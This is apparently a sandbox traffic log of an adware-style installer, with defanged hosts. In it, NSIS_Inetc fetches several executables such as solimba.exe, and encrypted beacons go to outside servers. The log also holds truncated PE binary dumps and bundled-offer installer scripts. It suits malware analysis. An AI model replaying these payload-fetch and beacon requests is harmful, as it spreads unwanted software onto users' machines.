Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Tue, 13 Oct 2015 05:07:42 GMT

Content-Type: application/octet-stream

Content-Length: 41408

Last-Modified: Tue, 13 Oct 2015 05:07:02 GMT

Connection: keep-alive

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With, X-RequestType

CC: UA

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
.....................H...x............................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc................v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>

GET /310714d/310714_is.exe?session=aUAekFiG9xfybmhwsn4W6nWSok HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: VVV.netcoolery.net

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Tue, 13 Oct 2015 05:07:43 GMT

Content-Type: application/octet-stream

Content-Length: 827560

Last-Modified: Thu, 24 Sep 2015 18:16:01 GMT

Connection: keep-alive

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With, X-RequestType

CC: UA

Accept-Ranges: bytes
MZP.....................@.............................................
..!..L.!..This program must be run under Win32..$7....................
......................................................................
..............................................PE..L....^B*............
.........F....................@..........................@......@.....
[email protected]........,..............(.......
......................................................................
..............CODE....0........................... ..`DATA....P.......
....................@...BSS......................................idata
[email protected]................................
[email protected]....................
[email protected]....,.......,[email protected].............@..
[email protected]..............................................
......................................................................
..............................................string................&l
t;[email protected].@..........)@..(@..(@..)@.....$)@..Free..0)@..InitInstance.
.L)@..CleanupInstance..h(@..ClassType..l(@..ClassName...(@..ClassNameI
s...(@..ClassParent...)@..ClassInfo...(@..InstanceSize...)@..InheritsF
rom...)@..Dispatch...)@..MethodAddress..<*@..MethodName..x*@..Field
Address...)@..DefaultHandler...(@..NewInstance...(@..FreeInstance.TObj
ect.@...@..% .@....%..@....%..@....%..@....%..@....%..@....%..@....%(.
@....%..@....%..@....%..@....%..@....%..@....%..@....%..@....%..@.
<<< skipped >>>

GET /310714d/310714_br.exe?session=aUAekFiG9xfybmhwsn4W6nWSokaUAekFiG9xfybmhwsn4W6nWSok HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: VVV.netcoolery.net

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Tue, 13 Oct 2015 05:07:46 GMT

Content-Type: application/force-download

Connection: keep-alive

X-Powered-By: PHP/5.6.13

Content-Length: 1611704

Content-Description: File Transfer

Content-Disposition: attachment; filename="310714_br.exe"

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With, X-RequestType

X-Cache: BYPASS

CC: UA
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......<...x...x
...x.......z...x...........i...,...t.......y...Richx..................
.PE..L......K.................\....9.....?2.......p....@..............
.............:..............................................s........:
[email protected]....................................................
........p...............................text....[.......\.............
..... ..`.rdata.......p.......`..............@[email protected]..........
[email protected]:..........................rsrc......
...:......v..............@..@.........................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
[email protected][email protected]...
Pr@..}[email protected]... M.......M....3.....FQ.....NU..M..
........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@
..u....E..9}[email protected].}[email protected]
[email protected]@.W...E..E.h [email protected]...\r@._
^3.[.....L$...'z...Si.....VW.T.....tO.q.3.;5.'z.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.'z.r._^[...U..QQ.U.SV..i.
<<< skipped >>>

GET /310714d/280815_cr.exe?session=aUAekFiG9xfybmhwsn4W6nWSok HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: VVV.netcoolery.net

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Tue, 13 Oct 2015 05:07:50 GMT

Content-Type: application/octet-stream

Content-Length: 1233990

Last-Modified: Tue, 13 Oct 2015 05:07:02 GMT

Connection: keep-alive

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With, X-RequestType

CC: UA

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
......................................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc................v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>

GET /solimba.exe?session=aUAekFiG9xfybmhwsn4W6nWSok HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: VVV.netcoolery.net

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Server: nginx/1.0.15

Date: Tue, 13 Oct 2015 05:07:52 GMT

Content-Type: application/octet-stream

Content-Length: 217928

Last-Modified: Thu, 24 Sep 2015 18:18:12 GMT

Connection: keep-alive

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With, X-RequestType

CC: UA

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................^...........0.......p....@.........
........................o........................................t....
...p..p6..........h<...............................................
................p...............................text...L\.......^.....
............. ..`.rdata.......p.......b..............@[email protected]\...
........v..............@....ndata...................................rs
rc...p6...p...8...z..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
[email protected]@..e...E..E.P.u...
Pr@..}[email protected]... M.......M....3.....FQ.....NU..M..
........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@
..u....E..9}[email protected].}[email protected]
[email protected]@.W...E..E.h ...Pj.h`[email protected]...\r@._
^3.[.....L$....B...Si.....VW.T.....tO.q.3.;5..B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5..B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>

GET /services/update/2.1.0/rZFbFEiC6e4i7g19HMHv7SF8FA117vjl/345 HTTP/1.0

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.related.deals

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Tue, 13 Oct 2015 05:09:47 GMT

Content-Type: text/plain

Content-Length: 0

Connection: keep-alive

P3P: CP="Potato"

X-Cache: BYPASS

X-Server: Provided by Intermedia

X-Country: UA

Access-Control-Allow-Origin: *

Access-Control-Allow-Headers: X-Requested-With

Access-Control-Allow-Credentials: true
HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Tue, 13 Oct 2015 05:09:47 
GMT..Content-Type: text/plain..Content-Length: 0..Connection: keep-ali
ve..P3P: CP="Potato"..X-Cache: BYPASS..X-Server: Provided by Intermedi
a..X-Country: UA..Access-Control-Allow-Origin: *..Access-Control-Allow
-Headers: X-Requested-With..Access-Control-Allow-Credentials: true..

GET /msdownload/update/v3/static/trustedr/en/authrootseq.txt HTTP/1.1

Accept: */*

User-Agent: Microsoft-CryptoAPI/5.131.2600.5512

Host: VVV.download.windowsupdate.com

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

HTTP/1.1 200 OK

Cache-Control: max-age=604800

Content-Length: 18

Content-Type: text/plain

Last-Modified: Thu, 20 Aug 2015 18:11:19 GMT

Accept-Ranges: bytes

ETag: "803dac9c73dbd01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

X-CID: 7

X-CCC: RU

X-MSEdge-Ref: Ref A: E8D9BCD73DA1497D9C54F50D3DCBDE22 Ref B: D8F7B42114983CF0E0CC48E5E92013D4 Ref C: Mon Oct 12 22:09:37 2015 PST

Date: Tue, 13 Oct 2015 05:09:36 GMT
1401D0DB739CEE64E9....


GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab HTTP/1.1

Accept: */*

User-Agent: Microsoft-CryptoAPI/5.131.2600.5512

Host: VVV.download.windowsupdate.com

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

HTTP/1.1 200 OK

Cache-Control: max-age=604800

Content-Length: 50006

Content-Type: application/octet-stream

Last-Modified: Thu, 20 Aug 2015 19:08:01 GMT

Accept-Ranges: bytes

ETag: "803e6c887bdbd01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

X-CID: 7

X-CCC: RU

X-MSEdge-Ref: Ref A: A863C42A3F6B4B12ADF59FEBB0D549EB Ref B: B4F9257BD1420C696CF7895A63DDE0C2 Ref C: Mon Oct 12 22:09:37 2015 PST

Date: Tue, 13 Oct 2015 05:09:36 GMT
MSCF....V.......,...................I..................G.` .authroot.s
tl.W....8..CK...<T.....c.5(..=..!Ev"..d'..c-iTBWI.H%..V.........E.%
)...f....uo...~/.3..s..y>...=..l...dbUH4M...1....&J.}<...#.L..\.
x!F.t.^......q..l8p.i.J'3.........J.5v....z-...A4U.T.E...h...}$.....5.
=.....VnU..E.[.[a(.."..G..P..k.m.3.....EP>.g..?.kY|..L.v...qDz...T.
&p.&..:.f....T.b..\...Af\..J..I.....tN09.......|,[r._..x..Y.e.(d..o...
`3........(... .$...V..e.y.s$p...u...........W..~...A.B....GoOV.....JT
.."VF.<.A....3...r.......addf`.....ph.J:r.E..[\L.X.:....?.. .....b.
..l....St...U.N;..a.h-W....4.Uqb.MbF=.X.C..DX..............V.U..P.....
'[email protected]:...5..j7[.!Yb|.....l...G.
F.E..?lg..m-n.(/6I..........._......5........n.t.<.'....Nim..;.!{..
......N.h...u.....x`... gR..B..V{.'..=}..=|.hg.9.6....j..w.[P`.G.....d
..............!..t./..........*.@(8(v1....'..Z. ....R.r....1Jn.j.[p..A
t..W;F.(..a...N...X....=.[..'.r.....^$B.a...9....,v-...%.2...:...[..6.
j...1..!{.....n..={.U....%...y,.....>a`..0..6..SJda.)9x...zqc..X..V
q.1z.....'^.....^sU|$.u...~.Lgf...Y...V..(f.(...m...-..-&,..c&z...-...
..fGO..6...N.y<.z..,...g|.....!..$....<....q......q8.<t.k.p.=
......z.}.Q.U....&J..-T......[...........}u...T.......>.y.e..CF".VX
$;&T.>..].3.H....7k..w.m...(..#[email protected]....[..l..w.e.2..3..(y. ...
|K9>...o..Uz.....V..W|.k.|...,..V.xPmV...X......!.........Jj.%.N_.9
T.~...v...C.!.4.5a.!...(..../[email protected]....
......D~...%y.....i....a.$vu.7...{.6.{Y3....5.YD.d>,.....b...H.
<<< skipped >>>

GET /msdownload/update/v3/static/trustedr/en/B1BC968BD4F49D622AA89A81F2150152A41D829C.crt HTTP/1.1

Accept: */*

User-Agent: Microsoft-CryptoAPI/5.131.2600.5512

Host: VVV.download.windowsupdate.com

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

HTTP/1.1 200 OK

Content-Length: 889

Content-Type: application/x-x509-ca-cert

Last-Modified: Thu, 23 Jul 2015 23:16:35 GMT

Accept-Ranges: bytes

ETag: "80b4b9e9dc5d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

X-CID: 7

X-CCC: RU

X-MSEdge-Ref: Ref A: 1959ABFBB2A74843BECE40D94FFA8EC9 Ref B: 69C76CB7CADF5FCD467DB0AEE99F92C0 Ref C: Mon Oct 12 22:09:37 2015 PST

Date: Tue, 13 Oct 2015 05:09:37 GMT
0..u0..]..............KZ..0...*.H........0W1.0...U....BE1.0...U....Glo
balSign nv-sa1.0...U....Root CA1.0...U....GlobalSign Root CA0...980901
120000Z..280128120000Z0W1.0...U....BE1.0...U....GlobalSign nv-sa1.0...
U....Root CA1.0...U....GlobalSign Root CA0.."0...*.H.............0....
............O.~....%k.H..*.......c..gf.....H ......).e...-....Lp..=.0.
..O....P...P......R..}.m.50.^Cs.A..j...:V98o.<.i[*M..T.l....<...
...<.x...tn.Da...F.u......ml.x......8..$.OsT...:...4.....w.... ...S
n..{7t.pG."Qc.y...A&... .F.H.d*..4.,*.l.CJ....|.!h...R...........B0@0.
..U...........0...U.......0....0...U......`{f.E....P/}..4....K0...*.H.
.............s.|Ov.......4.(2.|.l., ...S.k^..H......=aM.F..>...cU..
...9.C.8../.&;..PV....8...pQ......_.....A..]ud...U0......,.cF.....i...
Hd......).........i,i$x....qb......]...G.n*.V1..g.. .l.]F......Q.p..V=
a.j.\...=.A...cR.SS. ......_..A..........o. .......fU..H.)&i.HTTP/1.1 
200 OK..Content-Length: 889..Content-Type: application/x-x509-ca-cert.
.Last-Modified: Thu, 23 Jul 2015 23:16:35 GMT..Accept-Ranges: bytes..E
Tag: "80b4b9e9dc5d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.
NET..X-CID: 7..X-CCC: RU..X-MSEdge-Ref: Ref A: 1959ABFBB2A74843BECE40D
94FFA8EC9 Ref B: 69C76CB7CADF5FCD467DB0AEE99F92C0 Ref C: Mon Oct 12 22
:09:37 2015 PST..Date: Tue, 13 Oct 2015 05:09:37 GMT..0..u0..]........
......KZ..0...*.H........0W1.0...U....BE1.0...U....GlobalSign nv-sa1.0
...U....Root CA1.0...U....GlobalSign Root CA0...980901120000Z..2801281
20000Z0W1.0...U....BE1.0...U....GlobalSign nv-sa1.0...U....Root CA
<<< skipped >>>

POST /YBRInternet/?v=6.0&c=1036843593&t=837812 HTTP/1.1

Accept: */*

Host: os.Beyabir.com

User-Agent: ICAS

Content-Length: 1312

Cache-Control: no-cache

.I..~...$$........FI ..B.s.8...H.,..1...
.w.J.......u3.2.;....O0,.b.5..S.eGw..6....T... .<l..Qvo.Q...U.arE.w..;......[2....0.d.^q...J...

.Rl)"..fq...q}..>...c.. an.>.7.0.P$i.>M m!.....V..X....~.^JHe.4..S..`gC......#.............@-~.-c....7............%.c..Id...Fa..C..B.8../[email protected]{g....M.T...a...H......`..?...lA.[N..g...iMK.s.b0z..A

.j.s.......F1.yfD.......8..r.)h_..F[..._.......X...F..\7.........7...=j..

.-2&QyR.P.}.G...l.'N...kx.4*.lG.d..\....G8.3...:.....=0.P..P...%.l...d.6....7

.A.7).R.sF.,...c...Y..g.i..|@..Qe{<.....QB.........`A...H. L.Px~..|..W..`.N6..n...G?4....*.._....|..].q..4..t(....-..SI.L..V............W.......VTGz.06.\......F.Ci....G..........,f!:.d.q..[.L.c..n.....t.2...}}..6.b:...fT..bm.a.u...E!.z.......#G... . ..Mj.#.-......Y...'[email protected]/.....M.c...q.{....t..
.o7.\.b.o:.b.!3._.....
....J./.l..-....`...s.:.<..9...... b..l......H.aP....n..M.L..].e..J.-r.a..|.0#.x=....V..1.u....1....{..e.d|...
*]...q......OC.a.N..#.5\.w.t=.E.,....{.4.u.........$...X.%...k.1..o]:v...........N.)..P...z..b.].Su ..!yH..0..c.U.._....cQJ:...g.......%.?I..L.T...A2.B...W....x..b...

TF......[.].rh]*....G7.-i...0.(9m|ZXvD...)/B......h........;.h'...).M<.....hp;...........0.~&...BMo...E....d.Dq[m$..4.9J;0.........>...."T.....s&2......`..p..........#.,--.|...e.n......\......SO....;l$
HTTP/1.1 200 OK

Cache-Control: no-cache

Content-Type: text/plain

Date: Tue, 13 Oct 2015 05:09:30 GMT

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Server: nginx

X-ICSCT-CC: UA

X-ICSCT-CITY: unknown

X-ICSCT-GICSET: global1376aRPP

X-ICSCT-IP: 194.242.96.218

X-ICSCT-SERVER-NAME: ads.slave-130-a-eu-west-1c-33c0729f

X-ICSCT-TIMESTAMP: 20151013000930219

X-ICSCT-VERSION: 1.3.0a

X-ICSCT-XC: 91bba9083b637bbb85f2bc525458ea3d2e0cb405

X-Robots-Tag: none

transfer-encoding: chunked

Connection: keep-alive
1ef8../.3.0.;.0.....X$....wf..F...a....wv..I).uh.C..~..<....Y.u2C5.
P...3.M...=3......-.`.MQ[.......GT.=}. .f,.k.....r../....l{Hn.#[7.C. .
6.UA..)...C.Pg....[.....6.5mcf..2`q.W..d-_'j....W...T.g.B.O...g..Mi...
p.j&.A...D......E...Z....Of.pV..,<..q.F....7.....<)......8......
Gl...k.g.L....}w.W.k.M...M....b.'.B....Q....R...m......wuz'_..?...H._.
..,.J7...%u...8..h;D.....V..A/{.?6ga..8...%z_{...'=T....C....1',CHh"8.
.hG~..3.U.|K..]..MgRA|>...._~.}./..,..V.......rfp..|M;.w.{...r.G...
.t*.Z.....Y.D@..}.C.8.6x..K_.(nr.I........Y~\..n.....g.H...?.a.a.;....
g_....A....w...f...KD..g.".....q...'..R....b.B.K...f.b.....'..e.#..g.B
.?...g.b...kJ......2.lD.w/.N^..4.g..).GB.b^..f.^.........O../J.f.F..,.
...g.../..OmT....JOe.....:.).B.r..Gg.b...&.f.......#D.og....D..g.B....
_g.....z.........G...X)..bD..g."...6.*...f$..g....hV...u.C.nN9.C~F..pJ
....9MHC...a..KM..>......vG%..a/.......5.!.]..*......$.!...u.HM....
..X...6.Uvf... ..x/.ft.l3D....Z.vt.?".,{b./.d.......g,)...2.~.v=.._N.l
...v..ZC....n.R..?.c..H ..o....Y.U..........S.SI......x....A.....="..%
.l..P&..2R......f.pe........c....Gj..........7G..%R....=EQ..3o.)..^5..
...n.Zo......l...2..$<.V..Z...$..h.l......`[email protected],. V.
.F)...N......m=.7...t......e...LbF...U....eJ./..f.:...lw.....>acIRM
....z...R"....1.....8S..J.)...m..O.t......D...W...S.......:....h.[h...
..`g.._.Vr...u.._m0<............yh.K.#."x.....>.64...N...V..^y..
w...Z.........6{\...%4..AC..f.L......f..N.y. ...;/..E..8...<.2..#..
3..,s:....P..6.E&..........p.`........YhWH.#......N.).&.FG=.t.IC..
<<< skipped >>>

GET /s/applicationIE6-app.min.css?2015041501 HTTP/1.1

Accept: */*

Referer: hXXp://northstar.91dc213c6e2b.api.socdn.com/ui/1yosgi/en

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: DownloadMR/3.1.50 (MSIE 6.0;Windows NT 5.1 SP 3;.NET CLR 2.0.50727 SP1; .NET CLR 3.0 SP1; .NET CLR 3.5 SP0; .NET CLR 4;DB Microsoft. Windows. Operating System 6;m=VMware Virtual Platform;u=adm;northstar;48a77bc8-072a-aeed-86f6-4ddda6a39bf3)

Host: northstar.91dc213c6e2b.api.socdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: text/css

Date: Tue, 13 Oct 2015 05:09:45 GMT

ETag: "561374de-1633"

Last-Modified: Tue, 06 Oct 2015 07:14:38 GMT

Server: nginx

Content-Length: 5683

Connection: keep-alive
div.data{margin:10px 0 0 0!important}#app{position:relative;width:728p
x;height:428px;margin:0 auto;text-align:center;background:#eee;border:
1px #abc4e0 solid}#app div.publisher-logo{background:url(winportal.png
) no-repeat 0 0;position:absolute;left:20px;top:10px;width:150px;heigh
t:50px}#sidebar{text-align:left;width:160px;height:375px;z-index:100;p
osition:absolute;left:2px;top:0;overflow:hidden;margin-right:0}#sideba
r .logo{width:140px;height:40px;padding-top:5px;text-align:center;vert
ical-align:middle;margin:0 10px;margin-bottom:10px}#footer div.sidebar
{float:left;text-align:center;width:160px;position:relative;right:135p
x;top:0}#footer div.sidebar a{color:#777;font:bold 10px Arial,Helvetic
a,sans-serif;text-decoration:none;display:block;line-height:10px}#foot
er div.sidebar a:hover{text-decoration:underline}#abw{background:#ddd;
margin:0 12px 10px 12px;padding:10px 10px 7px 10px;text-align:center;b
order-radius:7px}#abw div.icon{background:#fff;margin-left:4px;margin-
top:15px;width:100px}#abw p,#abw a{font-weight:bold;color:#777;line-he
ight:15px;height:27px;overflow:hidden}#abw img{width:64px;height:64px}
#topics{margin:0 0 0 5px}#topics ol{list-style-type:decimal;list-style
-position:inside}#topics li.active{background:url(iconos-ie6.jpg) -253
px -325px no-repeat;border-right:1px solid #f2f8ff;color:#333;font:bol
d 12px/34px Arial,Helvetica,sans-serif}#topics li{color:#444;font:norm
al 12px/34px Arial,Helvetica,sans-serif;margin-left:7px;padding-left:1
0px}div.publisher-link a:hover{text-decoration:underline}#footer{p
<<< skipped >>>

GET /s/iconos-ie6.jpg HTTP/1.1

Accept: */*

Referer: hXXp://northstar.91dc213c6e2b.api.socdn.com/ui/1yosgi/en

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: DownloadMR/3.1.50 (MSIE 6.0;Windows NT 5.1 SP 3;.NET CLR 2.0.50727 SP1; .NET CLR 3.0 SP1; .NET CLR 3.5 SP0; .NET CLR 4;DB Microsoft. Windows. Operating System 6;m=VMware Virtual Platform;u=adm;northstar;48a77bc8-072a-aeed-86f6-4ddda6a39bf3)

Host: northstar.91dc213c6e2b.api.socdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: max-age=2592000

Content-Type: image/jpeg

Date: Tue, 13 Oct 2015 05:09:45 GMT

ETag: "561374e1-1a3e"

Expires: Thu, 12 Nov 2015 05:09:45 GMT

Last-Modified: Tue, 06 Oct 2015 07:14:41 GMT

Server: nginx

Content-Length: 6718

Connection: keep-alive
......Exif..II*.................Ducky.............)hXXp://ns.adobe.com
/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> 
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c06
0 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="h
ttp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rd
f:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http:
//ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/s
Type/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM
:InstanceID="xmp.iid:083E11C9A93A11E38238EC1A77F349F6" xmpMM:DocumentI
D="xmp.did:083E11CAA93A11E38238EC1A77F349F6"> <xmpMM:DerivedFrom
 stRef:instanceID="xmp.iid:083E11C7A93A11E38238EC1A77F349F6" stRef:doc
umentID="xmp.did:083E11C8A93A11E38238EC1A77F349F6"/> </rdf:Descr
iption> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?&g
t;....Adobe.d................'..'2&.&2.&&&&.>55555>DAAAAAADDDDDD
DDDDDDDDDDDDDDDDDDDDDDD.... . &..&6& &6D6  6DDDB5BDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDD........].."........................................
........................................R.!Qa.....S....1...A.2r.Td.q..
"b.....B3.4.#Cc......................!1A.Qaq...BR.............?...N{..
9e..D...'.$*.S.'e..7i.*g.Jl.JJ^.f=..s{...vL...u.'j..{-j5.....g]..?.D..
G ..@.................................................................
.......=*_.2..mj='..d..V1...bP..C.....................................
..................................................................
<<< skipped >>>

GET /s/app.min.js?2015041501 HTTP/1.1

Accept: */*

Referer: hXXp://northstar.91dc213c6e2b.api.socdn.com/ui/1yosgi/en

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: DownloadMR/3.1.50 (MSIE 6.0;Windows NT 5.1 SP 3;.NET CLR 2.0.50727 SP1; .NET CLR 3.0 SP1; .NET CLR 3.5 SP0; .NET CLR 4;DB Microsoft. Windows. Operating System 6;m=VMware Virtual Platform;u=adm;northstar;48a77bc8-072a-aeed-86f6-4ddda6a39bf3)

Host: northstar.91dc213c6e2b.api.socdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: application/javascript

Date: Tue, 13 Oct 2015 05:09:45 GMT

ETag: "561374e1-a450"

Last-Modified: Tue, 06 Oct 2015 07:14:41 GMT

Server: nginx

Content-Length: 42064

Connection: keep-alive
var _gaq=_gaq||[];var _ev=_ev||[];var ERROR=1;var WARN=2;var INFO=3;va
r DEBUG=4;function InvokeScript(b,d){App.InvokeScript(b,d)}var Helper=
{capitalize:function(b){return b.charAt(0).toUpperCase() b.substring(1
)}};var App={step:1,steps:[],topics:{},topic:"welcome",topic_map:[],qu
eue:{},shown:{},is_cpa_installed:false,installer_id:null,level:ERROR,a
ppToShow:"",idAppToShow:"",idLastAppShown:"",weigthingmethod:1,init:fu
nction(){Logger.setLevel(this.level);if("undefined"!==typeof dmr.repla
ce_target_by_filename&&dmr.replace_target_by_filename==1){var b=$("#ap
p");var f=D.getFileName();if(b.length&&"undefined"!=f){var d=new RegEx
p(dmr.target.name,"g");b.html(b.html().replace(d,f));D.setWindowTitle(
f)}}App.installer_id=$("body").attr("id").replace("i","");App.steps=$(
"#steps>div");if(3==App.steps.length){$("#topics li.campaigns").rem
ove();$("#nav button.skipall").remove();$("#nav2 button.skipall").remo
ve();$("#nav3 button.skipall").remove();$("#nav button.skip").remove()
}cn=$("div.ccx").length;App.topic_map=[1,2,2 cn,2 cn 1];App.topics=$("
#topics li");$("#nav button.continue").bind("click",this.processNext);
$("#nav button.previous").bind("click",this.processPrevious);$("#nav b
utton.cancel").bind("click",this.processClose);$("#nav button.close").
bind("click",this.processClose);$("#nav button.accept").bind("click",t
his.processAccept);$("#nav button.decline").bind("click",this.processD
ecline);$("#nav button.decline_custom").bind("click",this.processDecli
ne);$("#nav button.decline_custom_big").bind("click",this.processD
<<< skipped >>>

GET /gs/gscodesigng2.crl HTTP/1.1

Accept: */*

User-Agent: Microsoft-CryptoAPI/5.131.2600.5512

Host: crl.globalsign.com

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

HTTP/1.1 200 OK

Date: Tue, 13 Oct 2015 05:09:38 GMT

Content-Type: application/pkix-crl

Content-Length: 1839

Connection: keep-alive

Set-Cookie: __cfduid=de67c48325497cdb30560baf325026abd1444712978; expires=Wed, 12-Oct-16 05:09:38 GMT; path=/; domain=.globalsign.com; HttpOnly

ETag: 015444

Expires: Mon, 19 Oct 2015 23:00:00 GMT

Last-Modified: Mon, 12 Oct 2015 23:00:00 GMT

Cache-Control: public, max-age=582622

X-Cache: Miss from cloudfront

Via: 1.1 bcde18fe57c01210eccee8a7d0a23a85.cloudfront.net (CloudFront)

X-Amz-Cf-Id: ppVamzEa2E-ORzLD2652HJ-PEw-JwVe7P3vVDExuYFffNrtDsChIvA==

CF-Cache-Status: HIT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 23488893934800e2-AMS
0.. 0......0...*.H........0Q1.0...U....BE1.0...U....GlobalSign nv-sa1'
0%..U....GlobalSign CodeSigning CA - G2..151012230000Z..151019230000Z0
..Y0#...!...z..g{g.Mt..G...121120180003Z0#...!5....u.H.5.n..K...121121
154803Z0#...!a. ..5.Q.....g.Y..121127202406Z0#...!.9...^............13
0118021202Z0#...!.g.|.d..-,...A....130201163603Z0#...!......R..B.....h
..130212223046Z0#...!....oL$Ds.|...IN..130327184808Z0#...!,oYM;.LlE.I.
.D.k..130328114802Z0#...!Im..y..j.|-.`[....130515143603Z0#...!y......"
y/9r.;b...130828141203Z0#...!...r!d....%(...I..131111162403Z0#...!H...
...w.X8...(...131121104802Z0#...!.........G.5g-....131121104805Z0#...!
....d.z% C....(...140117143602Z0#...!z.....V....U..N...140117144802Z0#
...!/,.Hr.;...u..0C...140123114803Z0#...!.$u^.......O......14021208360
2Z0#...!........1..ITc.a..140224104803Z0#...!yx.mo`...L.s.1....1402241
04805Z0#...!.....u....e..!Kz..140303102402Z0#...!mv\......"........140
313101202Z0#...!M......Y.......f..140318134803Z0#...!%.t...Y.w.&e..^M.
.140326160003Z0#...!..8..Y.j.-.. .G...140610120003Z0#...!.l@[email protected]
w._..140831091203Z0#...!..../.....[.dCC...140831100002Z0#...!..d.8...|
..x,F....141203205323Z0#...!../..X.js..a......141204022544Z0#...!...r;
.'.....'.....141204022710Z0#[email protected]#...!7
..]...q.F...6t...150225074259Z0#...!..l.~...&n........150407141403Z0#.
..!.N0.,.............150422200911Z0#...!w.S......FP.ee....150512133508
Z0#...!. D.......*.Y.?"..150616081204Z0#...!.d....C.q.|)..5o..15090218
2412Z0#...!9.......*Ac...Ej..151002064931Z.10/0...U.......TD0...U.
<<< skipped >>>

GET /s9.g?login=pcofferp&srw=1276&srh=846&jv=true&j=y&srb=32&l=http://VVV.trackpixl.com/010914s/010914i.htm HTTP/1.1

Accept: */*

Referer: hXXp://VVV.trackpixl.com/010914s/extreme.html

